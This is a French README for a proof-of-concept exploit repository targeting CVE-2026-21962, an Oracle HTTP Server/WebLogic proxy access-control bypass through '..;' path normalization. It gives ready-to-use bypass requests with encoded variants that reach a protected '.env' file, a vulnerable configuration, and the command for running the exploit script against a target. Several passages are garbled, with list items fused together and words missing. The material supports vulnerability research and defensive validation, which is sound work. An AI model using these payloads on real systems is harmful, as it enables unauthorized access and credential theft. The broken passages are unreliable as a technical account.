
PoC vérifié et analyse pour CVE-2026-21962, un contournement du contrôle d'accès dans Oracle HTTP Server/WebLogic Proxy Plug-in via une incohérence de normalisation d'URI, avec script d'exploitation et preuves.
Une exploitation et une analyse reproduites indépendamment pour CVE-2026-21962 (contrôle d'accès inapproprié, CVSS 10.0) dans Oracle HTTP Server / le Proxy Plug-in Oracle WebLogic Server pour Apache HTTP Server.
Statut : vérifié contre OHS 12.2.1.4.0 et 14.1.2.0.0 en frontal de WebLogic Server 12.2.1.4.
Le frontal (OHS + mod_wl_ohs) et le backend (WebLogic) normalisent
..; différemment. Une requête comme :
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
contourne une règle de protection frontale <Location /internal-admin> car OHS
ne réduit pas ..;, tandis que WebLogic ( = paramètre de
chemin servlet, = parent). Le backend sert alors le chemin protégé.
Résultat : (CWE-284).
;..Voir analysis/root-cause.md.
mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
en frontal de WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
en frontal de WebLogic Server 12.2.1.4..env protégé) :
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), ce qui prouve le contournement.X-ORACLE-DMS-*, ce qui prouve qu'il s'agit d'une
réponse authentique du backend (WebLogic)./internal-admin/...
(GET /foo/../internal-admin/... 200).evidence/).poc-factcheck.md).isapi_wl, affecté en
12.2.1.4.0). Le même mécanisme est attendu (résolution du chemin servlet sur le
backend), mais il n'a pas été reproduit sous Windows.analysis/patch-analysis.md).| rôle | composant | version |
|---|---|---|
| frontal | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| plug-in | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| backend | Oracle WebLogic Server | 12.2.1.4 |
| application protégée | /internal-admin/cont/.env (identifiants fictifs) | — |
Configuration frontale utilisée (déclencheur minimal) :
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Même requête, même frontal, même backend — seule la gestion de
..; par le frontal est modifiée.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| déploiement | HTTP | fuite | backend atteint |
|---|---|---|---|
| vulnérable | 200 | oui (identifiants .env) | oui (X-ORACLE-DMS-*) |
| corrigé (normalisation corrigée) | 404 | non | non |
Preuves brutes (requête / réponse / journaux serveur) :
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : détection automatique du préfixe proxy WLSRequest (ex. /foo).-c : chemin protégé sur le backend (défaut internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-* ; la requête
de contrôle (directe) doit être bloquée pour que le verdict soit positif.Voir exploit/README.md pour les détails. À utiliser uniquement contre des systèmes que vous êtes
autorisé à tester.
.
├── README.md ce fichier
├── exploit/
│ ├── CVE-2026-21962.py PoC vérifié (vérification de fuite déterministe)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md analyse de l'incohérence de normalisation
│ └── patch-analysis.md comparaison binaire + A/B équivalent au correctif
└── poc-factcheck.md tableau de crédibilité des PoC publics + détail par PoC
L'outillage de détection / cartographie active (empreinte, sonde aveugle, carte de normalisation)
qui fonctionne SANS connaître un chemin protégé est conservé séparément dans
../../probe/.
exploit/CVE-2026-21962.py
SHA-256 : 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aCe matériel est fourni pour la recherche en vulnérabilité et la validation défensive.
Ne pas utiliser contre des systèmes sans autorisation. Le contenu .env dans les
preuves est fictif ; aucun identifiant réel n'est inclus.